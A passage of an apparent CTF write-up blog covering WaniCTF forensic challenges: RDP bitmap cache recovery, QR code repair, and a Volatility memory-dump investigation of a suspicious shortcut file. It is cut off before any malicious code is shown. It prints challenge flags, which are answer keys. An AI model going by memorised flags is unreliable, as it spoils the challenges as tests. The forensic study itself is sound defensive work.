url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAACNElEQVQ4y61Uy24SYRTmHWBFWLLiCYCEZyCQsOJhSAhsWLrThUkLLsg02qoxxRrRlmIAKUJpaculNyCFWugwMDA3Puf/YRoUKpJ6khMyh/N/5ztXndFohNfrRSgUgt/vRyAQWFmDwSB8Ph8sFgt0er0eDMPgqTIej2G326EzGAwIh8PUKAgCZFleSSVJom9ZloXVap0ARiIRaiR/kkirqKIo9C3HcbDZbL8DkojL0pqATH4126OAw5GADtuHPI0qywoG/AiiJKPXH86BC6K0mOH6tIapfAWv3idRLNfxYTePta0ENmIZfPtRwbt4Dm8/H2B7r4CvmRP0ByOUqk3wKok5wHB4wvCqeYtGq4Ps0TkFJZrIniF9WMNRpYGD4wsKHts/RF31I76a9HoLUtZS+dnlaJ1adyw6932wHI/qdZumSJQfCqjfdHBSa6r2FjheAD8YzHdZFEVcNG7xgvmCN5+yeBbZoYxq9TbWNhN4Ho1j42MGL1/vUp91tSTMdlqt+wBDnp8H7NxzNCphRZho0mx3MRIk2hhiJxkUzq5ps+S/jQ2RRquLveyp2nER+dMr2ggmlsZOsqjWsb5wlB4FvFMZ5kqXSObKKF/e4HvxHPFUCfvqd6pQxXG1Qf1Ifcm4LB3skSA8RCYz+KcQoNkBX8qQbAqNOnVSpluhsZkF+KeU/9suz14b4rCKavv/cG3IPYxGo0++hyQ7eg9NJhMcDgc8Hg9cLhfcbvdKqr1xOp0wm834BXUJD0aIBmwxAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/1bc97b182f60dbcfb8f9b5485cb70390/8ac56/image-20240622012409952.webp 240w,\n/static/1bc97b182f60dbcfb8f9b5485cb70390/d3be9/image-20240622012409952.webp 480w,\n/static/1bc97b182f60dbcfb8f9b5485cb70390/b2315/image-20240622012409952.webp 621w\"\n              sizes=\"(max-width: 621px) 100vw, 621px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/1bc97b182f60dbcfb8f9b5485cb70390/8ff5a/image-20240622012409952.png 240w,\n/static/1bc97b182f60dbcfb8f9b5485cb70390/e85cb/image-20240622012409952.png 480w,\n/static/1bc97b182f60dbcfb8f9b5485cb70390/3075e/image-20240622012409952.png 621w\"\n            sizes=\"(max-width: 621px) 100vw, 621px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/1bc97b182f60dbcfb8f9b5485cb70390/3075e/image-20240622012409952.png\"\n            alt=\"image-20240622012409952\"\n            title=\"image-20240622012409952\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>That’s all.</p>\n<h2 id=\"surveillance-of-susforensic\" style=\"position:relative;\"><a href=\"#surveillance-of-susforensic\" aria-label=\"surveillance of susforensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Surveillance of sus(Forensic)</h2>\n<blockquote>\n<p>A certain PC has been behaving suspiciously, as if someone malicious were operating it.</p>\n<p>It seems someone managed to retrieve some kind of cache file from that PC, so please investigate it!</p>\n</blockquote>\n<p>The challenge file was an RDP screen bitmap cache file.</p>\n<p>After merging the images with <code class=\"language-text\">bmc-tools</code>, I was able to recover the flag <code class=\"language-text\">FLAG{RDP_is_useful_yipeee}</code>.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">python3 bmc<span class=\"token operator\">-</span>tools<span class=\"token punctuation\">.</span>py <span class=\"token operator\">-</span>s Cache_chal<span class=\"token punctuation\">.</span><span class=\"token builtin\">bin</span> <span class=\"token operator\">-</span>d images <span class=\"token operator\">-</span>b</code></pre></div>\n<p>Reference: <a href=\"https://github.com/ANSSI-FR/bmc-tools\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">ANSSI-FR/bmc-tools: RDP Bitmap Cache parser</a></p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/8a1750c5949f01681d3087aa2c46d572/90164/image-20240622013521060.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 17.916666666666668%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAABLUlEQVQY0x2NPUsCAQBA/RmNYUNJaVamCVFgqV2mpfn9ER2noeZFhCXl0tDo0tYYBBllBEH/J2oIPU/Pr6jpdTQ9Hm94ht6gT1NpofU0tMFIZ49m84vPj3f6vS7djorWadPva3z//NLVu6IoDEcjhsMBna5Kq91G1TTaahPD6/MTj/d3vL00uK03eKjXubmuUS6IVE+KnB1KSEEv+9tupGSCZChAVFjjSExxEA8gi3EuT2WqcpZSOoLBMTXBksmIZ8FE0u/Bbbfic1qIuWz4neZ/X7fNsjptZHdljoTfjW95UW8WAs4ZBLuZ+fExXNZJ9jYcGEpxL9VCgmMxQqWQ0a9b5GIC2aiXcj5NJZ9BCrmRkwIXxRSlzA65sId8fBNRZzroISdliUXC1K7O+QOEKMcZCPjUpwAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/8a1750c5949f01681d3087aa2c46d572/8ac56/image-20240622013521060.webp 240w,\n/static/8a1750c5949f01681d3087aa2c46d572/d3be9/image-20240622013521060.webp 480w,\n/static/8a1750c5949f01681d3087aa2c46d572/e46b2/image-20240622013521060.webp 960w,\n/static/8a1750c5949f01681d3087aa2c46d572/f992d/image-20240622013521060.webp 1440w,\n/static/8a1750c5949f01681d3087aa2c46d572/882b9/image-20240622013521060.webp 1920w,\n/static/8a1750c5949f01681d3087aa2c46d572/e81d3/image-20240622013521060.webp 2425w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/8a1750c5949f01681d3087aa2c46d572/8ff5a/image-20240622013521060.png 240w,\n/static/8a1750c5949f01681d3087aa2c46d572/e85cb/image-20240622013521060.png 480w,\n/static/8a1750c5949f01681d3087aa2c46d572/d9199/image-20240622013521060.png 960w,\n/static/8a1750c5949f01681d3087aa2c46d572/07a9c/image-20240622013521060.png 1440w,\n/static/8a1750c5949f01681d3087aa2c46d572/29114/image-20240622013521060.png 1920w,\n/static/8a1750c5949f01681d3087aa2c46d572/90164/image-20240622013521060.png 2425w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/8a1750c5949f01681d3087aa2c46d572/d9199/image-20240622013521060.png\"\n            alt=\"image-20240622013521060\"\n            title=\"image-20240622013521060\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"codebreakerforensic\" style=\"position:relative;\"><a href=\"#codebreakerforensic\" aria-label=\"codebreakerforensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>codebreaker(Forensic)</h2>\n<blockquote>\n<p>I, the codebreaker, have broken the QR code!</p>\n</blockquote>\n<p>A broken QR code is provided.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 111px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/99159424ff5857d690158085fb75cf6f/a4766/chal_codebreaker.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsSAAALEgHS3X78AAADh0lEQVQ4y41VWSiuURT9U6Z4UZQMSZRQKEoiUoYSEckYmcmQIfOYocyEZMr4KPOUkieS4kGR4s0TyhRChnXv2vo+9791657a/3fGdfZee+3za/CP9vX1pfX9n/b5+QkNfy4vL/H8/IyXlxdcXV3h8fFRNry/v8v34+MDDw8PeH19lT7P3N/f4+bmRsZTU1NwdHRERUUFNDywtrYGW1tbeHl5oaqqCuXl5airq0NjYyNOTk6wv7+Pzc1NuZhWU1ODwsJCZGdnw8rKChqNBoaGhjg4OPgGfHp6gqurqyx4e3ujsrISzc3NiI2NRWtrK1JTU5GZmYmRkRGsr6/j+PgYSUlJcHZ2ljN05vT0VKIRQIZZX1+PnJwc2WBsbAwXFxfs7OwIDQEBAZienoafnx8SExOxsrIi+2hRUVEoKir64ZAd8peXl4eenh5ER0fDwMBANvv6+mJrawsdHR1YXFzEwMAArK2tZU1PTw/BwcESSUtLi4CpHnJArsbGxnB0dISuri6YmZmp3hK4trb2m/TfcyYmJsjNzUVnZye6u7sxNDSk7SFbeno6xsfHsbe3J4BK+DR6ZW5uLn1eVF1dLfweHh7C0tISk5OTqhoE8O3tTYgn0QsLCwJaVlYGOzs7eHh4qMCUxuDgoCghJiYGbW1twm9kZOSPh4pw4+PjRQphYWEClpGRgZSUFNjb26uAFhYWAkAvmZjd3V0B7+/vV4tABQwPDxdy5+fnhRtm09/fXwVyc3OTPkNPSEgQeihochgaGvoDqGSHpGdlZYm4e3t74e7uLgAODg4ICQlBX18f9PX1Zc7IyEhktr29LWP2VQ4VQPJHsgMDA1UwU1NTCWt1dVXkxMphhrnm5OQkGmxoaEBycrJazyrg7OwsLi4ukJ+fr3JWWlqKs7MzzM3NyTzJLy4uVtdZXaSKEWjJ5u7uTsJlbero6EhI7e3tSEtLEwmVlJRIgkZHR7G8vIyIiAjhlaBUAi/VAry+vpb6JX/cxBsZJiuEMmJYBJ6YmBALCgqSPQqndEQLkNkh+VyMi4tDU1MTlpaWpLSGh4elKvj60GMfHx/hkxXl6ekpZ/jisHzV0uPzxQUbGxvRIMk/Pz+XEJlxGl8TXkQPmQxqtqCgQDLMsxsbG9+At7e3kk1dXV0tLv5sykP795yiYYIygQLIkuMNMzMzqpYUGmgKuDJW7O+/B76TfOp+ASXOOCvld+VnAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/99159424ff5857d690158085fb75cf6f/5329e/chal_codebreaker.webp 111w\"\n              sizes=\"(max-width: 111px) 100vw, 111px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/99159424ff5857d690158085fb75cf6f/a4766/chal_codebreaker.png 111w\"\n            sizes=\"(max-width: 111px) 100vw, 111px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/99159424ff5857d690158085fb75cf6f/a4766/chal_codebreaker.png\"\n            alt=\"chal_codebreaker\"\n            title=\"chal_codebreaker\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>I vaguely remembered that if even part of the corner markers remained, a QR code reader could still read the link. But here the × marks had wiped out all of those blocks, so it could not be read as-is.</p>\n<p>However, when I tried shifting the image with Aozora ShiroNeko, I was able to restore it to a readable state as shown below.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/2263838a54c46cc6f921ad8e765f882b/121b3/image-20240622095056651.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 68.33333333333333%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAACdklEQVQ4y42Uy0tqURTGz6SpQYQEJTToDwhx0igIJDCwqQMnBQ6caNqgInQQgRMziCZNQrAI8YlBk4QgHEQERXBBBV9cFd+mRZiv7561uCfqElw/2Jy999n7t769zjpbSKfTKJVKKBbyqJTFZ7GIbDaLXC6HQqGAdruN9/d3dDodbjSu1+t4eXlBs9lEq9XiPs1Vq1UIz8/PSKUzSGR+41cyzf1kMolUKsXQTCaDfD7PQQlA756enhCPx/Hw8IBEIoHHx0deR32hXC6jXK4gW6wgJ7aW6KDf7+OrBoMBut0uPj4+vs2TM3JFjEajwS4FyXa7LVoX+ySKHgwGcXt7y9HJFTl8fX1FLBZDJBKB0WjEzc0Ner0eOyc4NYHIUj5qYgSSz+fDwsIClpeXcXR0hMPDQ2xubsLr9WJrawvj4+PQarUMk/ZK7RMoJXY4HOLu7g57e3uYnZ2FRqNh6OnpKZaWljA3N4f19XVcXl5ycNr/o0MJSCKgx+NhyMTEBDtaXV2FSqXC9vY2dnd3cXJy8n9grVbjRYFAABsbGzg7O4NOp4NCoYAgCDCbzdjZ2WGgw+EYHUhJX1tbg81mg1qtxvT0NJRKJWQyGaeC3O3v749+5Pv7e1gsFiwuLmJmZgbn5+ewWq2YnJzE/Pw8DAYDH31kIBWs3W7H1NQUbwyFQjCZTHC5XJDL5Tx/cXHxM7D5w5H9fj/Gxsb4a7rdbi4ZyhuVDKWCjk5jEpn4BqxUa2hJdfgXqNfrsbKyguvra1xdXfHHiUajcDqdOD4+xsHBAdcmSaq/T2ChVEVb/FMoEhVqOBzm2iNRTf4rWkOii+Lt7Y0vi6/APxjRmCv+5HkjAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/2263838a54c46cc6f921ad8e765f882b/8ac56/image-20240622095056651.webp 240w,\n/static/2263838a54c46cc6f921ad8e765f882b/d3be9/image-20240622095056651.webp 480w,\n/static/2263838a54c46cc6f921ad8e765f882b/e46b2/image-20240622095056651.webp 960w,\n/static/2263838a54c46cc6f921ad8e765f882b/893d8/image-20240622095056651.webp 1070w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/2263838a54c46cc6f921ad8e765f882b/8ff5a/image-20240622095056651.png 240w,\n/static/2263838a54c46cc6f921ad8e765f882b/e85cb/image-20240622095056651.png 480w,\n/static/2263838a54c46cc6f921ad8e765f882b/d9199/image-20240622095056651.png 960w,\n/static/2263838a54c46cc6f921ad8e765f882b/121b3/image-20240622095056651.png 1070w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/2263838a54c46cc6f921ad8e765f882b/d9199/image-20240622095056651.png\"\n            alt=\"image-20240622095056651\"\n            title=\"image-20240622095056651\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Reading this QR code gives the flag <code class=\"language-text\">FLAG{How_scan-dalous}</code>.</p>\n<p>As an alternative solution, it seems there is a way to reconstruct the QR code itself.</p>\n<p>That approach looks pretty hard, but maybe that was the intended solution…</p>\n<p>Reference: <a href=\"https://github.com/pwning/public-writeup/blob/master/mma2015/misc400-qr/writeup.md\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">public-writeup/mma2015/misc400-qr/writeup.md at master · pwning/public-writeup</a></p>\n<h2 id=\"mem-searchforensic\" style=\"position:relative;\"><a href=\"#mem-searchforensic\" aria-label=\"mem searchforensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>mem search(Forensic)</h2>\n<blockquote>\n<p>I found an unknown file and opened it, and it behaved strangely, so I captured a memory dump!</p>\n<p>How was the attack carried out?</p>\n<p>The memory dump is large, so it is distributed at the URL below (it becomes 2 GB after extraction).</p>\n<p>It may become unavailable after WaniCTF ends.</p>\n<p><a href=\"https://drive.google.com/file/d/1sxnYz-bp-E9Bj9usN8lRoL4OE8AxrCRu/view?usp=sharing\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">https://drive.google.com/file/d/1sxnYz-bp-E9Bj9usN8lRoL4OE8AxrCRu/view?usp=sharing</a></p>\n<p><em>Note:</em> There are two flags in the file. The flag starting with <code class=\"language-text\">FLAG{H</code> is not the answer this time. Please submit the flag starting with <code class=\"language-text\">FLAG{D</code>.</p>\n</blockquote>\n<p>Since it was a full Windows memory dump, I first checked the information with <code class=\"language-text\">vol3</code>.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">vol3 -f chal_mem_search.DUMP windows.info.Info</code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/235fc22d42f2049d2bc88e0dd3372eff/b67f3/image-20240622095645711.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 35%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA30lEQVQoz52R63KCMBBG8zRWBeSScFEQYlFAkYzjdTq8/3N8DQudtnQ60/rjzCabzNnNhsmdQpYfEGcl4fprODzuo0h0TGjd87nnYQov6OFhRndNJwLbqzsSWcJfbrSwQLB6heVGmC8CGHb4K6ajsQe0yLADzCwfrD69UYdyW+N4eiAvFUQkSfhieBo+xI81H+W+n7Hm3GKzO5I0jHOq1sm6alOTa8QAHyFG9PkvwhpRktNzuko/BX+DqUuLg7qRcC0rmt9k7j0tZVVzw765UpertKD5dT9nuctBKv4lfAc6+eEXOAr0NgAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/235fc22d42f2049d2bc88e0dd3372eff/8ac56/image-20240622095645711.webp 240w,\n/static/235fc22d42f2049d2bc88e0dd3372eff/d3be9/image-20240622095645711.webp 480w,\n/static/235fc22d42f2049d2bc88e0dd3372eff/e46b2/image-20240622095645711.webp 960w,\n/static/235fc22d42f2049d2bc88e0dd3372eff/40a00/image-20240622095645711.webp 1338w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/235fc22d42f2049d2bc88e0dd3372eff/8ff5a/image-20240622095645711.png 240w,\n/static/235fc22d42f2049d2bc88e0dd3372eff/e85cb/image-20240622095645711.png 480w,\n/static/235fc22d42f2049d2bc88e0dd3372eff/d9199/image-20240622095645711.png 960w,\n/static/235fc22d42f2049d2bc88e0dd3372eff/b67f3/image-20240622095645711.png 1338w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/235fc22d42f2049d2bc88e0dd3372eff/d9199/image-20240622095645711.png\"\n            alt=\"image-20240622095645711\"\n            title=\"image-20240622095645711\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Enumerating running processes was not very useful.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">vol3 -f chal_mem_search.DUMP windows.psscan.PsScan</code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/92ff123d4c0e7005c732ffdbad5b98a6/82f58/image-20240622103021006.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 34.583333333333336%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABSUlEQVQozz1S6XKCYBDjWTodq/UsHoioiCKg3Ihnr/d/inSzVn/sfDNsNptkMVZ+DMcNsM+OmM59xPkJh/MPeuYMzc4InYEFe7FFlByw3ZVIiotiBqM5OOtuYrw2B4p9aw9h8MNsScLTkzA/fOJjvPgnnGo/SmohLITwrFj2vW0qlShRqzvWMtZBqgoJXHg7pOUV9eUX5uRO2O5bSshFYVzJshuy6oqh5SLcV/CjAqaQ0xFfgyS0RDvrIFPrVEIAN/aHDharCMG+1GKfIia2py9n+4KlE84Ynp+IsghJftY8suqmGdJSqztC98N+9nfpEWX9JS4u4mCpAlYy/9Loqe3Gu3lXOHdDtWM5aw2/kKFHhrTMbGlvE+ZCWms9MxRCYtq9iR5Qj+IIIbf6Ua5ZVqdvsTp7HuXxFwRCyoyJoULmR5XEkKxn2vgD+rX2wG3iqXoAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/92ff123d4c0e7005c732ffdbad5b98a6/8ac56/image-20240622103021006.webp 240w,\n/static/92ff123d4c0e7005c732ffdbad5b98a6/d3be9/image-20240622103021006.webp 480w,\n/static/92ff123d4c0e7005c732ffdbad5b98a6/e46b2/image-20240622103021006.webp 960w,\n/static/92ff123d4c0e7005c732ffdbad5b98a6/fd502/image-20240622103021006.webp 1387w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/92ff123d4c0e7005c732ffdbad5b98a6/8ff5a/image-20240622103021006.png 240w,\n/static/92ff123d4c0e7005c732ffdbad5b98a6/e85cb/image-20240622103021006.png 480w,\n/static/92ff123d4c0e7005c732ffdbad5b98a6/d9199/image-20240622103021006.png 960w,\n/static/92ff123d4c0e7005c732ffdbad5b98a6/82f58/image-20240622103021006.png 1387w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/92ff123d4c0e7005c732ffdbad5b98a6/d9199/image-20240622103021006.png\"\n            alt=\"image-20240622103021006\"\n            title=\"image-20240622103021006\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Next, I tried file scanning and found suspicious files in the user folder containing <code class=\"language-text\">read_this_as_admin</code>.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">vol3 -f chal_mem_search.DUMP windows.filescan.FileScan</code></pre></div>\n<p>I extracted these files with the following commands.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">0xcd88cebc26c0  <span class=\"token punctuation\">\\</span>Users<span class=\"token punctuation\">\\</span>Mikka<span class=\"token punctuation\">\\</span>Desktop<span class=\"token punctuation\">\\</span>read_this_as_admin.lnknload\n0xcd88cebae1c0  <span class=\"token punctuation\">\\</span>Users<span class=\"token punctuation\">\\</span>Mikka<span class=\"token punctuation\">\\</span>Downloads<span class=\"token punctuation\">\\</span>read_this_as_admin.download\n0xcd88ceb9f2b0  <span class=\"token punctuation\">\\</span>Users<span class=\"token punctuation\">\\</span>Mikka<span class=\"token punctuation\">\\</span>Desktop<span class=\"token punctuation\">\\</span>echo.txt\n\nvol3 -o /tmp -f chal_mem_search.DUMP windows.dumpfiles.DumpFiles --virtaddr 0xcd88cebc26c0\nvol3 -o /tmp -f chal_mem_search.DUMP windows.dumpfiles.DumpFiles --virtaddr 0xcd88cebae1c0\nvol3 -o /tmp -f chal_mem_search.DUMP windows.dumpfiles.DumpFiles --virtaddr 0xcd88ceb9f2b0</code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/5d805bfa3e87b97c2da98948730b044e/3145a/image-20240622103609736.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 16.249999999999996%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAo0lEQVQI1yWOaw6CQAyEOYxo0GgEZHm4wMK+EAT1/ocZW/bHl5lOmmkju6yo1ISyX1A0I/KyQyZaImhaSNyyBte0xumSI05SHM8B9nFy3/XAOflI+xWj29CbN3o9Q1J50znUrUElDandKZ8jRD2Qaso1HpWCoAcKytjzM5mQiLjMTh9oR8V2hZt/MDz7jQ5R5gPKhqODDSiz7HsM79nXF93g8QdpRGcDATDePgAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/5d805bfa3e87b97c2da98948730b044e/8ac56/image-20240622103609736.webp 240w,\n/static/5d805bfa3e87b97c2da98948730b044e/d3be9/image-20240622103609736.webp 480w,\n/static/5d805bfa3e87b97c2da98948730b044e/e46b2/image-20240622103609736.webp 960w,\n/static/5d805bfa3e87b97c2da98948730b044e/f992d/image-20240622103609736.webp 1440w,\n/static/5d805bfa3e87b97c2da98948730b044e/882b9/image-20240622103609736.webp 1920w,\n/static/5d805bfa3e87b97c2da98948730b044e/407bd/image-20240622103609736.webp 2112w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/5d805bfa3e87b97c2da98948730b044e/8ff5a/image-20240622103609736.png 240w,\n/static/5d805bfa3e87b97c2da98948730b044e/e85cb/image-20240622103609736.png 480w,\n/static/5d805bfa3e87b97c2da98948730b044e/d9199/image-20240622103609736.png 960w,\n/static/5d805bfa3e87b97c2da98948730b044e/07a9c/image-20240622103609736.png 1440w,\n/static/5d805bfa3e87b97c2da98948730b044e/29114/image-20240622103609736.png 1920w,\n/static/5d805bfa3e87b97c2da98948730b044e/3145a/image-20240622103609736.png 2112w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/5d805bfa3e87b97c2da98948730b044e/d9199/image-20240622103609736.png\"\n            alt=\"image-20240622103609736\"\n            title=\"image-20240622103609736\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>When I extracted <code class=\"language-text\">read_this_as_admin.lnknload</code>, I found that it executes PowerShell-encoded code like the following.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: 